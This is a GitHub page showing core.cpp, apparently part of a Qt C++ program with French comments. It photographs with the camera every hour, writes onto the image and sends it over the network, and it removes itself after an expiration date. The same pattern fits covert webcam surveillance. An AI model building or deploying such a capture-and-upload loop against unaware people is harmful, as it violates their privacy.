-
Notifications
You must be signed in to change notification settings - Fork 0
/
core.cpp
executable file
·144 lines (121 loc) · 3.49 KB
/
core.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#include <core.h>
CoreObject::CoreObject(QObject *parent) : QObject(parent)
{
// Définition des objets //
timer = new QTimer(this);
timestamp = new QDateTime();
install = new InstallObject();
remove = new RemoveObject();
camera = new CameraObject();
network = new NetworkObject();
painter = new PainterObject();
// Test si le programme est installé //
//install->checking();
// Test de la connection //
network->test();
// On défini une valeur pour la première boucle //
loopFirst = true;
// On défini le temps entre deux boucles en millisecondes //
this->loopModify(5000);
}
CoreObject::~CoreObject()
{
// Déstruction //
delete network;
delete camera;
delete painter;
delete remove;
}
void CoreObject::loop()
{
// Test de la connection //
network->test();
// Test de la date d'expiration //
if(timestamp->currentMSecsSinceEpoch() > GLOBAL_expirationTimestamp)
{
remove->start();
network->networkGood = false;
}
// Si la connection est bonne //
if(network->networkGood == true)
{
if(loopFirst == true)
{
loopFirst = false;
this->loopModify(3600000);
this->cameraShoot(1);
}
else
{
this->loopModify(3600000);
this->cameraShoot(1);
}
}
else
{
this->loopModify(60000);
}
}
void CoreObject::loopModify(int loopTimer)
{
// Lancement de la boucle //
timer->stop();
disconnect(timer, SIGNAL(timeout()), this, SLOT(loop()));
connect(timer, SIGNAL(timeout()), this, SLOT(loop()));
timer->start(loopTimer);
}
void CoreObject::cameraShoot(int nbShoot)
{
nbWantShoot = nbShoot;
nbRealShoot = 0;
// Mise en place des signaux //
connect(camera->imageCapture, SIGNAL(imageSaved(int, const QString &)), this, SLOT(cameraStop()));
connect(camera,SIGNAL(cameraStoped()), this, SLOT(painterStart()));
connect(painter,SIGNAL(painterSaved()), this, SLOT(networkStart()));
connect(network,SIGNAL(networkSended()),this,SLOT(cameraStart()));
// Si le nombre demandé n'est pas égale à zero //
if(nbWantShoot != 0)
{
this->cameraStart();
}
}
void CoreObject::cameraSterilization()
{
// Déconnexion de tous les signaux //
disconnect(camera->imageCapture, SIGNAL(imageSaved(int, const QString &)), this, SLOT(cameraStop()));
disconnect(camera,SIGNAL(cameraStoped()), this, SLOT(painterStart()));
disconnect(painter,SIGNAL(painterSaved()), this, SLOT(networkStart()));
disconnect(network,SIGNAL(networkSended()),this,SLOT(cameraStart()));
this->cameraStop();
}
void CoreObject::cameraStart()
{
// Si le nombre d'image à capturer et égale avec le nombre d'image prisent //
if(nbRealShoot == nbWantShoot)
{
// Arrêt de la caméra //
this->cameraSterilization();
}
else
{
// Démarrage de la caméra //
camera->start();
}
// Augmentation de la valeur //
nbRealShoot = nbRealShoot + 1;
}
void CoreObject::cameraStop()
{
// Arrêt de la caméra //
camera->stop();
}
void CoreObject::painterStart()
{
// Ecriture sur l'image capturé //
painter->start();
}
void CoreObject::networkStart()
{
// Envoie de l'image sur internet //
network->send();
}